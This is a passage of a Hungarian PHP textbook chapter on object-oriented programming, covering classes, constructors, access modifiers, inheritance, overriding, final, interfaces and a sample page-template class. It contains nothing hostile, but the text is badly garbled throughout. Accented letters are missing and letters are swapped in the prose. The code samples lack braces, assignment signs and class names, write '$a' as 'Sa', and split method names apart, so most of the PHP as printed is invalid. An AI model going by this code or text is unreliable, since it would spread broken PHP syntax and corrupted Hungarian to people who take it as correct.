meg ket - kellen tgondolt fejlesztsi mdszert ignyelnek. Az objekrumorientlt programozssal knnyebben kezelhetjk
az sszetett projekteket, elsegti kdjaink tbbszri felhasznlhatsgt, s ezltal programjaink mkdtetsi kltsgei is
cskkenrhetk.
Objektumorienrlt programozs esetn az objekrum eltrolt adatok s az azokon az adarokon mkd mveletek egyedi
s azonosthat gyjtemnye. Lehet, pldul, a gombokat jelkpez kt objekrumunk. Mg ha mindkettnek OK is a felirata,
60 kppont szlesek s 20 kppont magasak, s minden ms tulajdonsguk is megegyezik, akkor is tudnunk kell kezelni ket.
Programozskor kln vltozk mkdnek az objektumok kezeljekne (handle), vagyis egyedi azonostjaknr.
Az objektumok osztlyokba csoporrosrhatk. Az osztlyok egyenknt eltr, m valamilyen szempontbl egyforma objektu
mok csoportjt jelkpezik. Egy adott osztly olyan objektumokat tarralmaz, amelyek ugyangy mkd, egyforma mveletekkel s
ugyanazt jelent, egyforma tulajdonsgokkal rendelkeznek, noha e tulajdonsgok rckei objekrumonknt eitrk tehernek.
Gondoljunk a bicikli fnvre a kzs funkcikkal vagy tulajdonsgokkal (pldul kt kerk, szn s mret) s mveletekkel
(pldul mozgs) rendelkez, klnbz kerkprokat ler objektumok osztlyaknt l A szerz biciklijre gondolhatunk
gy, mint egy, a bicikli osztlyba ill objektumra. Rendelkezik az sszes biciklire jellemz, kzs funkcikkal, kztk a moz
gs mvelettel, amely a tbbi bicikli mozgshoz hasonlan mkdik - csak ppen a tbbi biciklinl taln kicsit ritkbban.
Ennek a bringnak a tulajdonsgai egyedi rrkekkel rendelkeznek, merr a bicikli zld, s nem mindegyik kerkpr ilyen
szn.

Tbbalaksg

Az objektumorientlt programozsi nyelveknek tmogarniuk kell a tbbalaksgot (polymorphism), ami azt jelenti, hogy a k
lnbz osztlyok eltr viselkedsekkel rendelkezhetnek ugyanarra a mveletre. Ha pldul a bicikli osztly mellett aut osz
tlyunk is van, mindkettnek kell, hogy legyen a msiktl eltr mozgs mvelete. Vals objektumok esetn ez aligha okozhat
problmt. A biciklik nem valszn, hogy sszezavarodnak, s egy aut mozgs mveletvel prblnak meg elindulni. Progra
mozsi nyelvben azonban nem mindig szmthatunk a vals vilg jzan eszre, gy a nyelvnek tmogatnia kell a tbbalaksgot,
hogy tudjuk, mely mozgs mveletet alkalmazzuk egy adott objekrumon.
A tbbalaksg jellemzbb a viselkedsekre, mint az objekrumokra. PHP-ben csak az osztly tagfggvnyei leheenek
tbbalakak. Egy vals vilgbl vett plda erre az emberi nyelv igi, amelyek ilyen szempontbl a tagfggvnyek megfeleli.
Gondoljuk vgig, a valsgban mit tehetnk egy kerkprral l Sok egyb mellett takarrhatjuk, mozgarhatjuk, sztszerelhetjk,
megjavrhatjuk vagy lefesrhetjk.
Ezek az igk ltalnos cselekedeteket rnak le, mert nem tudjuk, hogy milyen tpus objektumra alkalmazzuk ket. (Az ob
jektumok s mveletek ilyen tpus absztrakcija az emberi intelligencia egyik megklnbztet eleme.) Egy kerkpr mozga
tsa pldul teljesen msmilyen mveleteket ignyel, mint egy aut mozgatsa, br ezek alapjaikban egyez fogalmak. A mozgat
ige csak akkor trsthat konkrt mveletekkel, ha tudjuk, hogy milyen objektumon kvnjuk alkalmazni.

rklds
Az rklds (inheritance) lehetv teszi, hogy a/osztlyok (subclass) hasznlatval hierarchikus kapcsolatot hozzunk ltre
osztlyok kztt. Az alosztly rkli az alaposztly (superclass) tulajdonsgait s mveleteit. Az autnak s a biciklinek vannak
kzs vonsai. Pldul egy jrm nev osztlyban trolhatjuk azokat a dolgokat, amelyekkel nnden jrm rendelkezik (pld
ul szn, tulajdonsg s mozgs mvelet), majd az aut s a bicikli osztlyt rkthetjk a jrmbL
Az alosztly, a szrmaztatott osztly (clerived class) s a gyerek (child) kifejezs ugyanazt jelenti. Hasonlkppen az alaposz
tly s aszl (parent) jelentse is megegyezik.

Objektumorientlt PHP

rkldssei pthernk meglv osztlyokra, illetve kiegszthetjk azokat. Egy egyszer alaposztlybl sszetettebb s
specializltabb osztlyokat szrmaztathatunk, ha szksgnk van rjuk. Ez a lehetsg mg inkbb jrafelhasznlhatv teszi
kdunkat, ami az objektumorientlt megkzelts egyik legfbb elnye.
Az rkldssei munkt takarthatunk meg azltal, hogy a mveleteket elegend egy alaposztlyban egyszer megrni, s gy
nem kell az egyes alosztlyokkal egyenknt bbeldni. A vals vilgbeli kapcsolatok pontosabb modellezst is lehetv teszi.
Ha brmely kt osztly esetben rtelmes a"... egy ..." mondat, akkor az rkldsnek minden bizonnyal van lgogosultsga .

Az aut egy jrm:' mondat rtelmes, de"A jrm egy aut:' nem, mert nem minden jrm aut. gy az aut rkthet a jr

mbL

Osztlyok, attribtumok s metdusok ltrehozsa PHPben


Ez idig igen elvont mdon trgyaltunk az osztlyokrL Amikor PHP-ben ltrehozunk egyet, a
class kulcsszt hasznljuk.

Osztlyszerkezet
A legegyszerbb osztlydefinci gy nz ki:
class osztalynev

Ahhoz, hogy hasznlhat legyen, az osztlynak attribtumokra s metdusokra van szksge. Attribtumokat gy hozha
runk ltre, hogy az osztlydefincin bell a lthatsguknak megfelel kulcsszavakkal (public, private vagy protected )
vltozkat deklarlunk. Ezt a fejezet ksbbi rszben rszletesen ttekingk. A kvetkez kd az osztalynev nev osz
tlyt hozza ltre kt attribtummal- $attributuml s $attributum2:
class osztalynev

public $attributuml;
public $attributum2;

Metdusokat gy hozhatunk ltre, hogy az osztlydefincin bell fggvnyeket deklarlunk. Az albbi kddal egy
osztalynev nev, kt metdust tartalmaz osztlyt hozunk ltre, amelynek metdusai semmit nem csinlnak.

A metodusl() nem vr paramtert, a metodus2 () viszont kettt is:


class osztalynev

fu nction metodusl()

function metodus2($paraml,

$param2)

Konstruktorok
A legtbb osztly rendelkezik egy klnleges tpus metdussal, amelynek neve konstruktor (ltrehoz fggvny). Konstruktort
hvunk meg az osztly objektumainak ltrehozsra, s a konsttuktor ltalban elvgzi az olyan hasznos inicializlsi feladatokat,
mint pldul az attribrumok megfelel kiindul rtkre lltsa vagy az objektum ltal megkvetelt egyb objektumok ltrehozsa.
A konstruktort ugyangy deklarljuk, mint brmelyik msik metdust, m klnleges neve van:_const ruct ().Br
a konstruktort sajt kezleg is meghvhaguk, f clja, hogy objektum ltrehozsakor automatikusan meghvcljk. A kvetkez
kd konstruktorral br osztlyt deklarl:
class osztalynev

function

con struct($param)

109

11O

6. fejezet

echo "A konstruktort meghvtuk az albbi paramterrel:

".$param."<br />";

A fggvnyek tbbszrs definilsa (function overloading) azt jelenti, hogy egynl tbb ugyanolyan nev s klnbz
szm vagy tpus paramterrel rendelkez fggvnyt megadhatunk. (Ezt a funkcit sok objektumorientlt nyelv tmogatja,
a PHP azonban nem.) A fejezet egy ksbbi rszben mg lesz sz errl.

Destruktorok
A konstruktor ellentte a destruktor. Lehetv teszi, hogy bizonyos funkcik vgbemenjenek kzvetlenl egy osztly megsem
mistse eltt, ami automatikusan bekvetkezik, amikor egy osztlyra mutat sszes hivatkozst megszntetnk, vagy azok
kiesnek a hatkrbL
A konstruktorok elnevezshez hasonlan kell a destruktorokat is elnevezni:_ destruct (). Paramterk nem lehet.

Osztlypldnyok ltrehozsa
Az osztly deklarlsa utn objektumot - az osztly egy konkrt tagjt - kell ltrehozni ahhoz, hogy dolgozhassunk vele. Ezt
osztlypldny ltrehozsnak nevezik. Objektumot a new kulcsszval lehet ltrehozni. Amikor ezt tesszk, meg kell hatroz
nunk, hogy az objektum melyik osztly pldnya lesz, illetve meg kell adnunk a konstruktor ltal vrt paramtereket.
A kvetkez kd az osztalynev nev, konstruktorral rendelkez osztlyt deklarlja, majd ltrehoz hrom osztalynev
tpus objektumot:
class osztalynev
function
echo

construct($param)

"A konstruktort meghvtuk az albbi paramterrel:

Sa

new osztalynev("Els6");

$b

new osztalynev("Msodik");

Sc

new osztalynev();

".$param."<br />";

Mivel a konstruktor minden objektumltrehozskor meghvdik, a fenti kd a kvetkez kimenetet lltja el:

A konstruktort meghvtuk az albbi paramterrel:

Els6

A konstruktort meghvtuk az albbi paramterrel: Msodik


A konstruktort meghvtuk az albbi paramterrel:

Osztlyattribtumok hasznlata
Az osztlyokon bell egy $this nev, klnleges mutatval rendelkeznk. Ha aktulis osztlyunk valamely attribturnt
$tulajdonsag-nak nevezik, akkor e vltoz belltsakor vagy az osztlyon belli mveletbl val elrsekor a
Sthis->tulajdonsag formban hivatkozhatunk r.

A kvetkez kd egy osztlyon belli vltoz belltst s elrst mutatja be:


class osztalynev
public Stulajdonsag;
function metodus($param)
Sthis->tulajdonsag

$param

echo Sthis->tulajdonsag;

Hogy egy attribtumot az osztlyon kvlrl is elrhetnk-e, azt a - fejezet egy ksbbi rszben rszletesen bemutatand
- hozzfrs-mdostk hatrozzk meg. A pldban nincsen korltozva az attribtumokhoz val hozzfrs, gy a kvetkez
kppen az osztlyon kvlrl is elrhetjk ket:

Objektumorientlt PHP

lll

class osztalynev
public $tulajdonsag;
$a = new osztalynev();
$a->tulajdonsag = "ertek";
echo $a->tulajdonsag;
ltalban nem clszer a tulajdonsgokhoz osztlyon kvlrl kzvetlenl hozzfrni. Az objektumorientlt megkzelts
egyik elnye, hogy kiknyszerti a zrtsg elvnek betartst. Ezt a_get s a_set fggvny hasznlatval rhetjk el. Ha
egy osztly attribtumainak kzvetlen elrse helyett elr fggvnyeket (accessor function) runk, a hozzfrseket egyetlen
kdrszen keresztl biztosthatjuk. Amikor elszr megrjuk elr fggvnyeinket, azok a kvetkezkppen nzhetnek ki:
class osztalynev
public $tulajdonsag;
function

get($nev)

return $this->$nev;
function

set ($nev,

$this->$nev

$ertek)

$ertek;

A fenti kd egyszer fggvnyeket ad a $tulajdonsag nev attribtum elrsre. A_get() nev fggvny egyszeren
a $tulajdonsag rtkt aclja vissza, a_set() pedig j rtket rendel a $tulajdonsag-hoz.
Figyeljk meg. hogy a_get() egy paramtert fogad- az attribtum nevt-, s az attribtum rtkvel tr vissza!
A_set() fggvny ugyanakkor kt paramtert vr: az attribtum nevt s az rtket, amit rendelni kvnunk hozz.
Ezeket a fggvnyeket nem kzvetlenl hvjuk meg. A nevk eltti dupla alulvons jelzi, hogy- a_ construct()s
a_ destruct () fggvnyhez hasonlan- klnleges jelentssei brnak PHP-ben.
De akkor hogyan mkdnekr Ha ltrehozzuk az osztly egy pldnyt:
$a = new osztalynev();
a_get() s a_set() fggvnnyel ellenrizhetjk, illetve bellthatjuk artribtumai rtkr.

Ha berjuk a kvetkezket:
$a->$tulajdonsag = 5;
ez

a kifejezs tttelesen meghhja a_set() fggvnyt, a $nev-et.,tulajdonsagra"-ra, az $ertek rtkt pedig 5-re

'

lltva. A kivnt hibaellenrzshez meg kell rnunk a_set() fggvnyt.


A _get() fggvny hasonlan mkdik. Kdunkban az albbi kifejezs:
$a->tulajdonsag
tttelesen meghvja a_get() fggvnyt, annak $nev paramterr.,tulajdonsag"-ra lltva. A mi dolgunk megrni
a_get() fggvnyt gy, hogy visszatrjen az rtkkel.
Els rnzsre ez a kd nem sok rtkkel br szmunkra. Jelenlegi formjban ez taln igaz is, de az elr fggvnyek ltre
hozsnak egyszer oka van: hasznlatukkor egyetlen kdrszlet van, ami az adott attribtumhoz hozzfr.
Egyeden hozzfrsi pont esetn rvnyessg ellenrzsek megvalstsval megbizonyosodhatunk arrl, hogy rtelmes
adatot trolunk. Ha ksbb esznkbe jut, hogy a $tulajdonsag rtke csak O s 100 kztt lehet, csak egyszer kell nhny
sort

hozzadni s ellenrizni, mieltt engedlyeznnk a vltoztatsokat. A_set () fggvnyt kellene a kvetkezkppen

mdostani:
function

set ($nev,

$ertek)

if ( ($nev="tulajdonsag")

&&

($ertek >= 0)

&&

($ertek <= 100)

$this->tulajdonsag = $ertek;
Egyeden hozzfrsi ponton meg tudjuk vltoztaeni a mgttes megvalstst. Ha brmilyen okbl gy dntnk, hogy
megvltoztatjuk a $tula jdonsag trolsi mdjt, a hozzfrsi fggvnyek lehetv teszik ezt, s csak egyetlen helyen kell
kdunkat mdostani.

112

6. fejezer

Dnehetnk gy,hogy a $tulajdonsag vltozknt trtn trolsa helyett adarbzisbl keressk vissza akkor, amikor
szksgnk van r,kiszmrjuk akrulis rtkr minden egyes alkalommal, amikor szksgnk van r, ms attribrumok
rtkeibl szrmaztatjuk az rtkr,vagy kisebb adattpusknt kdoljuk az adatot. Akrmilyen vltoztats mellett dnrnk,
egyszeren mdosthatjuk az elr fggvnyeket. A kd tbbi rszr ez nem rinti,feltve persze,hogy a ler fggvnyeket gy
vltoztatjuk, hogy a program tbbi rsze ltal elvrt mdon rik el vagy adjk vissza az adatokat.

Hozzfrs#szablyozs p r i v a t e s p ub l i c kulcsszval
A PHP hozzfrs-mdosrkar hasznl. Ezeket az attribrum- s metdusdeklarcik el rva szablyozzk az attribrumok
s metdusok lthatsgt. A PHP a kvetkez hrom hozzfrs-mdostt tmogatja:
Az alaprtelmezett opci a public (nyilvnos),ami azt jelenti,hogy ha nem harrozunk meg hozzfrs-mdosrt egy
attribrumhoz vagy metdushoz, akkor az public lesz. A public hozzfrs-mdostval rendelkez elemek osztlyon bell
rl s kvlrl is elrhetk.
A private (bels) hozzfrs-mdost azt jelenti, hogy az adott elem csak az osztlyon bellrl rhet el. Ha nem hasz
nlunk _get() s_set ( ) fggvnyt, akkor minden attribrumra alkalmazhatjuk. Dnthernk gy is, hogy egyes met
dusokat priva te mdostval lrunk el, ha azok csak az osztlyon bell hasznland segdfggvnyek. Ezek az elemek nem
rkldnek (a fejezet egy ksbbi rszben erre mg rszletesebben visszatrnk).
A protected (vdett) hozzfrs-mdost azt eredmnyezi, hogy az ltala megjellt elem csak az osztlyon bellrl r
het el. Alosztlyokban is lrezik (ehhez is visszatrnk majd a fejezer ksbbi, az rkldssei foglalkoz rszben). Egyelre
gy kpzeljk el a protected mdostt, minr ami a private s a public kzrt flron helyezkedik el!
Az albbi pldakd a public hozzfrs-mdost hasznlatt muratja be:
class osztalynev

public $tulajdonsag;
public function _get($nev)

return $this->$nev;

public function

set ($nev,

$ertek)

$this->$nev = $ertek;

Ebben minden osztlyrag hozzfrs-mdostval van ellrva,jelezvn, hogy bels vagy nyilvnos. A public kulcssz
elhagyhat, mert ez az alaprtelmezett lehetsg,m hasznlata egyb mdostk alkalmazsa esetn knnyebben olvashatv
teszi a kdot.

Osztlymetdusok hvsa
Az osztlymetdusokat az oszrlyattribrumok hvshoz igen hasonl mdon hvhatjuk meg. Tegyk fel, hogy van egy ilyen
osztlyunk:
class osztalynev

function metodusl()

function metodus2($paraml,

$param2)

s az albbiakkal ltrehozunk egy osztalynev rpus,$a nev objekrumot:


$a = new osztalynev();

Ezt kveten ugyangy hvhatjuk meg a metdusokat, mint brmilyen ms fggvnyeket: nevkkel, illetve az ltalunk el
vrt fggvnyeket zrjelbe helyezve. Mivel ezek a mveletek a hagyomnyos fggvnyeknl jobban kapcsoldnak egy adott

Objektumorientlt PHP

113

objektumhoz, meg kell hatroznunk, hogy melyik objektumhoz tartoznak. Az objektum nevt ugyangy hasznljuk, mint egy
objektumattribtumot, pldul gy:
$a->metodus1();
$a->metodus2(12,

"teszt");

Amennyiben a mveleteknek van visszatrsi rtke, a kvetkezkppen kaphatjuk el ezeket az adatokat:


$x = $a->metodus1();
Sy= $a->metodus2(12,

"teszt");

rklds megvalstsa PHPben


Amennyiben az osztlyt egy msik alosztlyv kvnjuk tenni, az extends kulcssz segtsgvel rhetjk ezt el. A kvetkez
kd egy B nev osztlyt hoz ltre, amely egy korbban definilt, A nev osztlybl szrmazik:
class B extends

public

$attributum2;

function metodus2()

Amennyiben az A osztlyt a kvetkezkppen deklarltuk:


class

public $attributum1;
function metodus1()

akkor az albbi, egy


$b = new

tpus objektum metdusaihoz s attribtumaihoz val hozzfrsek mind rvnyesek lennnek:

B();

$b->metodus1();
$b->attributum1 = 10;
$b->metodus2();
$b->attributum2

10;

Ne feledjk, hogy mivel a B osztlyt az A-bl szrmaztattuk, annak ellenre hivatkozhatunk metodusl () metdusra s
$attributum1

attribtumra, hogy ezeket az A osztlyban deklarltuk- minthogy az A alosztlya, a

ugyanazokkal a funk

cikkal s adatokkal rendelkezik! Ezeken tlmenen a B osztlyhoz egy sajt tulajdonsgot s egy sajt metdust is deklarl
runk.
Fontos megemlteni, hogy az rklds csak egy irnyba mkdik. Az alosztly, ms nven gyerek rkli a szl vagy az
alaposztly funkciit, de a szl nem rkli a gyerekit. Ebbl az kvetkezik, hogy az albbi kd utols kt sora hibs:
$a = new

A();

Sa->metodusl ();
$a->attributum1 = 10;
$a->metodus2();
$a->attributum2 = 10;

Az A osztlynak nincsen sem metodus2 () metdusa, sem attributum2 tulajdonsga.

Lthatsg szablyozsa rklds esetn a p r i v a t e s a p r o t e c t e d kulcsszval


A pri vat e s a protected kulcsszval szablyozhatj uk, hogy mi rkldik. Az olyan attribtum vagy metdus, amelyhez
private

mdost lett rendelve, nem fog rkldni. A vdett (protected) attribtumok s metdusok az osztlyon kvl nem

lesznek lthatk (akrcsak a pr i va te elemek), de rk/dnek.


Tekintsk t az albbi pldt:
<?php
class

114

6. fejezet

private function metodusl()

echo "metodusl meghvva";

protected function metodus2()

echo "metodus2 meghvva";

public function metodus3()

echo "metodus3 meghvva";

B extends A

class

function

construct()

$this->metodusl();
$this->metodus2();
$this->metodus3();

$b

new

B;

?>

A fenti kd hromfle mveletet hoz ltre az A osztlyban: public, protected s private, azaz nyilvnos, vdett s
bels tpust. A B az A-bl rkldik. A B konstruktorban megprbljuk a mveleteket a szlbl meghvni.
Az albbi sor:
$this->metodusl();

vgzetes hibt eredmnyez:

Fatal error: Call to


(Vgzetes hiba: Az A:

private method

A: :metodusl ()from context 'B'

:metodusl () private metdus meghvsa a

'B' osztlybl)

A plda azt szemllteti, hogy a bels metdusokat gyerekosztlybl nem lehet meghvni.
Ha megjegyzsknt kiemeljk ezt a sort, a msik kt fggvnyhvs mkdni fog. A protected fggvny rkldik, m
csak a gyermekosztlyon bellrl hasznlhat, ahogy azt a pldban is tettk. Ha megksreljk a fjl vghez az albbi sort
hozzadni:
$b->metodus2();

a kvetkez hibazenetet kapjuk:

Fatal error: Call to protected method A::metodus2 () from context


(vgzetes hiba: Az A: :metodusl () protected metdus meghvsa a 'B'

'B'

osztlybl)

A metodus3 () metdust azonban az osztlyon kvlrl meghvhatjuk:


$b->muvelet3();

A fenti fggvnyhvs azrt lehetsges, mert a mveletet nyilvnosknt deklarltuk.

Fellrs
A fejezetben lttunk mr olyan alosztlyt, amely j attribtumokat s metdusokat deklarlt. Ugyanazokat az attribtumokat
s metdusokat lehetsges s esetenknt hasznos is jradeklarlni. gy az alosztly adott attribtumaihoz az alaposztlyban
lv ugyanezen attribtumok alaprtelmezett rtktl eltr rtkeket rendelhetnk, vagy az alosztly metdusainak az alap
osztly megfelel metdusaitl eltr funkcionalitst adhatunk. Ezt az eljrst Jellrsnak ( overriding) nevezik.
Tegyk fel plduL hogy van egy A osztlyunk:
class

public

$tulajdonsag

"alaprtelmezett

rtk";

Objektumorientlt PHP

115

function metodus()
echo "Valami<br />";
echo "A \$tulajdonsag rtke: "

$this->tulajdonsag."<br />";

Amennyiben szeretnnk megvltoztaeni a $tulajdonsag rtkt s j funkeit adni a metodus () metdusnak, a kvet
kez B osztlyt hozhatjuk ltre, amely fellrja a $tulajdonsag attribtumot s a metodus() metdust:
class B extends A
publ i c $tulajdonsag

"ms rtk";

function metodus()
echo "Valami ms<br />";
echo " A \$tulajdonsag rtke: "

$this->tulajdonsag."<br />";

A B deklarlsa nincs hatssal az A eredeti delincijra. Tanulmnyozzuk most az albbi kt kdsort:


Sa

new A();

$a -> metodus();

E sorok egy A tpus objektumot hoznak ltre, s meghvjk metodus ( ) fggvnyt. Ennek kimenete:
Valami
A

$tulajdonsag rtke: alaprtelmezett rtk

bizonytja, hogy B ltrehozsa nem vltoztatta meg A-t. Amennyiben ltrehozunk egy B tpus objektumot, ms vgeredmny
hez jurunk.
Ennek a kdnak:
$b

new B();

$b -> metodus();
a kimenete:
Valami ms
A

Stulajdonsag rtke: ms rtk

l"

Mikppen egy alosztlyban ltrehozott j attribtum vagy metdus nem rinti az alaposztlyt, az attribrumok vagy met
dusok alaposztlybeli fellrsa sincsen r hatssal.
Egy alosztly alaposztlya minden amibrurnt s metdust rkli, kivve, ha lecserljk azokat. Ha csert definilunk, az
elsbbsget lvez, s fellrja az eredeti defincit.
A parent kulcssz lehetv teszi, hogy a metdusnak a szlosztlyban lv eredeti vltozatt hvjuk meg. Pldul az
A:

:metodus B osztlyon bellrl val meghvshoz az albbi kdot hasznlnnk:

parent: :metodus();

Az gy elllt kimenet azonban eltr. Br a szlosztlybl hvjuk meg a metdust, a PHP az aktulis osztly tulajdonsg
rtkeit hasznlja. Ezrt az albbi kimenetet kapjuk:
Valami
A

$tulajdonsag rtke: ms rtk

Az rklds tbb rteg mlysg lehet. Deklarlharunk egy C nev, a B-bl szrmaztatott osztlyt, amely gy a B osztly
s az szlje, az A osztly funkciit, metdusait rkli. A C osztlyban megint eldnthetjk, hogy a szlk mely attribtu
mait s metdusait kvnjuk fellrni s lecserlni.

rklds s fellrs megakadlyozsa a final kulcsszval


Rendelkezsnkre ll a PHP-ben a final kulcssz is. Amikor fggvnydeklarls el helyezzk, a fggvny egyeden alosztly
ban sem rhat fell. A kvetkezkppen adhatjuk az elz pldban szerepl A osztlyhoz:
class A
publ ic $tulajdonsa g

"alaprtelmezett rtk";

final function metodus()

116

6. fejezet

echo "Valami<br

/>";

echo "A \$tulajdonsag rtke:

"

$this->tulajdonsag."<br />";

Ezzel a megkzeltssel elkerlhet a me tod us () mvelet

osztlybeli fellrsa. Ha megksreljk a fellrst, az albbi

hibazenetet kapjuk:
Fatal error:

Cannot override final method A::metodus()

(Vgzetes hiba:

Az A::metodus () final metdus nem fellrhat)

A final kulcssz hasznlatval azt is megakadlyozhatjuk, hogy egy osztlybl alosztlyokat szrmaztassanak. A kvetke
zkppen teheljk ezt meg:
final class A

{ .. . l

Ha ezt kveten megprblunk az A osztlybl rkteni, a kvetkezhz hasonl hibazenetet kapunk:


Fatal error:

Class B may not inherit from final class

(Vgzetes hiba:

(A)

A B osztly nem rkthet final osztlybl (A))

A tbbszrs rklds
Nhny objektumorientlt programozsi nyelv (mindenekeltt a C++ s a Smalltalk) tmogatja a tbbszrs rkldst, de
a PHP - a tbbsggel egyetemben - nem. Ez azt jelenti, hogy nnden osztly csak egyeden szltl szrmaztathat. Arra
vonatkozan viszont nincsen korltozs, hogy egy szl hny gyerekosztllyai rendelkezhet. Ez gy elsre taln nem teljesen
vilgos, de a 6.1 bra az A, B s C nev osztly rkldsnek hrom lehetsges mdjt mutatva segt tisztv tenni a kpet.

Egyszeres rklds

Tbbszrs rkld s

Egyszeres rklds

6.1 bra: A PHP

A bal oldali kombinciban a C osztly a

nem tmogatja a tbbszrs rkldst.

osztlybl szrmazik, amely viszont az A osztlybl rkldik. Mindegyik osz

tly legfeljebb egy szlvel rendelkezik, gy ez egy PHP-ben teljesen szablyos, egyszeres rklds.
A kzps kombinciban a

s C osztly az A osztlybl rkldik. Mindegyik osztly legfeljebb egy szlvel rendelke

zik, gy ez szablyos, egyszeres rklds.


A jobboldalt lv kombinciban a C osztly az A s

osztlybl rkldik. Ebben az esetben a C osztly kt szlvel br,

vagyis tbbszrs rkldssei llunk szemben, ami PHP-ben nem rvnyes.

Interfszek megvalstsa
Amennyiben tbbszrs rklds pldnyaiban ltott funkcionalitst kell megvalstanunk (kifejtennk) PHP-ben,

interf

szeken (interface) keresztl tehetjk ezt meg. Az interfszekre a tbbszrs rklds thidal megoldsaknt tekinthetnk,
hasonlan a tbbi objektumorientlt nyelv, kztk a Java ltal tmogatott interfszmegoldshoz.
Az interfsz alapgondolata az, hogy az interfszt alkot osztlyokban megvalstand metdusok halmazr hozzuk ltre.
Pldul gy dntnk, hogy olyan osztlyok csoporgt hozzuk ltre, amelyeknek kpeseknek kell lennik nmaguk megjelen
tsre. Ahelyett, hogy ltrehoznnk egy megjelenites() fggvnnyel rendelkez alaposztlyc, amelybl az osztlyok rk
ldnek, s fellrjk az rkltt elemeket, a kvetkezkppen valsthaljuk meg az interfszt:

Objektumorientlt PHP

117

interface Megjelenitheto

function megjelenites();

class webOldal implements Megjelenitheto

{
function megjelenites()

ll

Ez a plda jl szernllteti egy, a tbbszrs rklds hinyt thidal megoldst, hiszen a webOldal osztly rklhet egy
osztlybl, s megvalsthat egy vagy tbb interfszt.
Ha nem fejtjk ki az interfszben meghatrozott metdusokat ( jelen esetben a Megjelenites ()-t), vgzetes hiba kvet
kezik be.

Osztlytervezs
Most, hogy mr tisztba kerltnk

az

objektumok s osztlyok mgtti fogalmak nmelyikvel, illetve a PHP-beli megvals

tsukhoz szksges szintaktikval, rdemes megvizsglni, hogyan lehet hasznlhat osztlyokat tervezni.
Kdunk szmos osztlya a vals vilg objektumainak osztlyait vagy kategriit fogja jelkpezni. A webfejleszts sorn
hasznlt osztlyok kz weblapok, kezelfelleti komponensek, online bevsrlkosarak, hibakezels, termkkategrik vagy
vsrlk tartozhatnak.
A kdban szerepl objektumok az elbb emltett osztlyok konkrt pldnyait jelkpezik majd - pldul a nyitoldalt, egy
adott gombot vagy

az

adott idpontban Kovcs Jnos bevsrlkosart. Kovcs urat pedig egy vasa rlo tpus objektum jelk

pezheti. A Jnos ltal megvsrolt minden cikket egy-egy objektum jelkpez, amelyek valamely kategriba vagy osztlyba tartoz
nak.
Az elz fejezetben egyszer fjlbeillesztssei rtk el a kpzeletbeli TLA Consuiting cg honlapjnak egysges megjelen
st. Osztlyokkal s a szmunkra rengeteg idt megtakartani kpes rkldssei ugyanennek a honlapnak fejlettebb vltozatt
is el tudjuk lltani.
Clunk most

az,

hogy gyorsan tudjunk ugyangy kinz s mkd oldalakat ltrehozni a TLA szmra. Kpesnek kell

lennnk arra is, hogy a honlap klnbz tartalmainak megfelelerr tudjuk mdostani ezeket az oldalakat.
A plda kedvrt ltrehozunk egy Oldal nev osztlyt. Az osztly elsdleges clja, hogy mrskelje egy j oldal ltrehozshoz szksges HTML kd mennyisgt. Lehetv kell, hogy tegye az oldalrl oldalra vltoz rszek mdostst, mg
a mindenhol egysgesen megjelen elemeket automatikusan kell, hogy ellltsa. Az osztlynak rugalmas keretrendszert kell

nyjtania j oldalak ltrehozsra - anlkl, hogy az alkots szabadsgt brmiben korltozn.


Mivel programbl, nem pedig statikus HTML kdbl generljuk

az

oldalt, olyan intelligens funkcikat is hozzadhatunk,

mint pldul:

Oldalelemek egyetlen helyen trtn mdostsnak lehetsge. Azaz, ha trjuk a szerzi jogi nyilatkozatot, vagy mg
egy gombot kvnunk az oldalakhoz adni, a vltoztatst csak egyetlen helyen kelljen vgrehajtanunk.
Az oldal legtbb rsznek legyen alaprtelmezett tartalma, s szksg esetn brmelyik elemet tudjuk mdostani, lehes
sen egyni rtkeket belltani az olyan elemekhez, mint a cm vagy a metaadatok.

Az aktulisan megjelentett oldal felismerse s a navigcis elemek ennek megfelel mdostsa (a nyitoldalon nincs
rtelme a nyitoldalra mutat gombot elhelyezni).

Adott oldalakon az lland elemek lecserlsnek lehetsge. Ha pldul msmilyen navigcis gombokat szetetnnk
elhelyezni a honlap egy adott rszn, akkor le tudjuk cserlni az lland elemeket.

Az osztly kdjnak megrsa


Azt mr eldntttk, hogy hogyan nzzen ki kdunk kimenete, s rnilyen funkcikat tudjon, de hogyan valstsuk meg?
A knyv ksbbi rszben ttekintjk, hogy nagy projektek esetn hogyan megy a tervezs s a projektmenedzsment. Egyelre
sszpontostsuk figyelmnket

az

objektumorientlt PHP-programozsra vonatkoz rszekre!

Az osztlynevet logikusan kell kivlasztanunk. Mivel oldalt jelkpez, nevezzk Oldal-nak. Az Oldal nev osztly deklar
lshoz rjuk be a kvetkezket:

l 6

118

6. fejezet

class Oldal

Az osztlynak tulajdonsgokra van szksge. Pldnkban az oldalrl oldalra vltoz elemeket fogjuk osztlytulajdonsgok
knt belltani. Az oldal f tartalmr, amely HTML cmkk (rag) s szveg kombincijbl pl fel, $tartalom-nak nevez
zk. Az albbi kdsort az oszclydelincin bellre rva deklarlhatjuk eze az accribcumot:
public $tartalom;

Az oldal cmc trol accribcumokat is bellthatunk. Eze a cmer minden bizonnyal meg fogjuk vlroztacni, hogy a ltogat
lca! megjelentett oldal tartalmt tkrzze. res cmek helyett azonban rdemes az albbi kdsorral alaprtelmezert cmer
megadni:
public $eim

"TLA Consulting Pty Ltd";

Az zleti cl weboldalak metacmeket (mecatag) tartalmaznak, ezzel segtenek a keresmocoroknak az oldal indexelsben. Ah
hoz, hogy hasznosak legyenek, a mecacmeknek oldalrl oldalra elerknek kell lennik. Itt is megadhacunk alaprtelmezett rtket:
public $kulcsszavak = "TLA Consulting,

Hrombets rvidts,

a keresoldalak a legjobb bartaink";

Az eredeci oldalt mucac 5.2 brn (lsd az elz fejezetet!) lthat navigl gombokat rninden bizonnyal rdemes rninden
oldalon vltozatlanul hagyni, hogy ne zavarjuk ssze a felhasznlt, m az egyszer vltozcachacsguk rdekben hozzunk
ltre ezekbl is egy tulajdonsgot! Mivel a gombok szma vltozhat, hasznljunk tmbt, s troljuk el a gomb szvegt meg az
URL-c, arnire mutacnia kell:
public $gombok = array ( "Kezdlap" => "kezdelap.php",
"Kapcsolat" => "kapcsolat.php",
"Szolgltatsok" => "szolgaltatasok.php",
"Oldaltrkp" => "terkep.php"
);

Hogy mkdni tudjon, az osztlynak mecdusokra is szksge van. Kezdskppen adjuk meg az imnt definilt tulajdons
gok rtkeinek belltshoz s leolvasshoz az elr fggvnyeket:
public function

set($nev,

$ertek)

$this->$nev = $ertek;

A _set () fggvny-

az

